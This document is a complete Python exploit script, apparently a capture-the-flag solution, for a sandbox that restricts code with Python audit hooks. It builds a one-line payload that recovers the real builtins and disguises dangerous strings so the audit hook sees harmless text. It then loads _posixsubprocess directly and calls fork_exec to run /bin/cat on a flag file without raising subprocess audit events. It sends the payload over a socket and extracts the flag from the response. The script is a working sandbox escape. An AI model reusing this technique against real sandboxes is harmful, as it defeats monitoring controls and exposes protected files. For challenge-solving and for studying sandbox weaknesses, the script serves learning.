#!/usr/bin/env python3
"""Exploit the hardened Python Pwned v2 audit-hook jail."""

from __future__ import annotations

import argparse
import re
import socket
import sys


FLAG_RE = re.compile(rb"[A-Za-z0-9_]+\{[^}\r\n]+\}")


def build_payload(flag_path: str) -> str:
    """Build the one-line program consumed by app.py's input() call."""
    command = repr(b"/bin/cat")
    target = repr(flag_path.encode())

    parts = [
        # Recover real builtins through the already-loaded frozen importer.
        "b=[x for x in ().__class__.__base__.__subclasses__() "
        "if x.__name__=='BuiltinImporter'][0].load_module('builtins')",
        "s=b.__import__('sys')",
        # The audit hook applies str() to event arguments.  These strings keep
        # their dangerous underlying value while rendering as harmless text.
        "S=b.type('S',(b.str,),{'__str__':lambda x:'x'})",
        "n=S('_posixsubprocess')",
        "v=b.str(s.version_info.major)+'.'+b.str(s.version_info.minor)",
        "p=S(s.base_prefix+'/lib/python'+v+"
        "'/lib-dynload/_posixsubprocess'+"
        "s.modules['_imp'].extension_suffixes()[0])",
        "e=s.modules['_frozen_importlib_external']",
        "i=s.modules['_frozen_importlib']",
        "l=e.ExtensionFileLoader(n,p)",
        "q=i.ModuleSpec(n,l,origin=p)",
        "m=l.create_module(q)",
        "l.exec_module(m)",
        # fork_exec() is the low-level implementation beneath subprocess and
        # does not emit subprocess.Popen or os.exec audit events itself.
        "o=s.modules['posix']",
        "r,w=o.pipe()",
        f"z=m.fork_exec([{command},{target}],({command},),True,(w,),"
        "None,None,-1,-1,-1,-1,-1,-1,r,w,True,False,-1,"
        "None,None,None,-1,None,False)",
        "o.close(w)",
        "o.waitpid(z,0)",
    ]
    payload = ";".join(parts)
    if "\n" in payload or "\r" in payload:
        raise ValueError("payload must fit on one input line")
    return payload


def receive_until(sock: socket.socket, marker: bytes) -> bytes:
    data = bytearray()
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data.extend(chunk)
    return bytes(data)


def receive_all(sock: socket.socket) -> bytes:
    data = bytearray()
    while True:
        try:
            chunk = sock.recv(4096)
        except TimeoutError:
            break
        if not chunk:
            break
        data.extend(chunk)
    return bytes(data)


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("host", nargs="?", default="127.0.0.1")
    parser.add_argument("-p", "--port", type=int, default=25776)
    parser.add_argument("--flag-path", default="/flag.txt")
    parser.add_argument("--timeout", type=float, default=5.0)
    parser.add_argument("--show-payload", action="store_true")
    args = parser.parse_args()

    payload = build_payload(args.flag_path)
    if args.show_payload:
        print(payload, file=sys.stderr)

    try:
        with socket.create_connection((args.host, args.port), args.timeout) as sock:
            sock.settimeout(args.timeout)
            receive_until(sock, b"$ ")
            sock.sendall(payload.encode() + b"\n")
            response = receive_all(sock)
    except OSError as exc:
        parser.error(f"could not exploit {args.host}:{args.port}: {exc}")

    match = FLAG_RE.search(response)
    if match is None:
        sys.stderr.buffer.write(b"target response: " + response + b"\n")
        parser.error("exploit ran, but no flag-shaped value was returned")

    sys.stdout.buffer.write(match.group(0) + b"\n")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())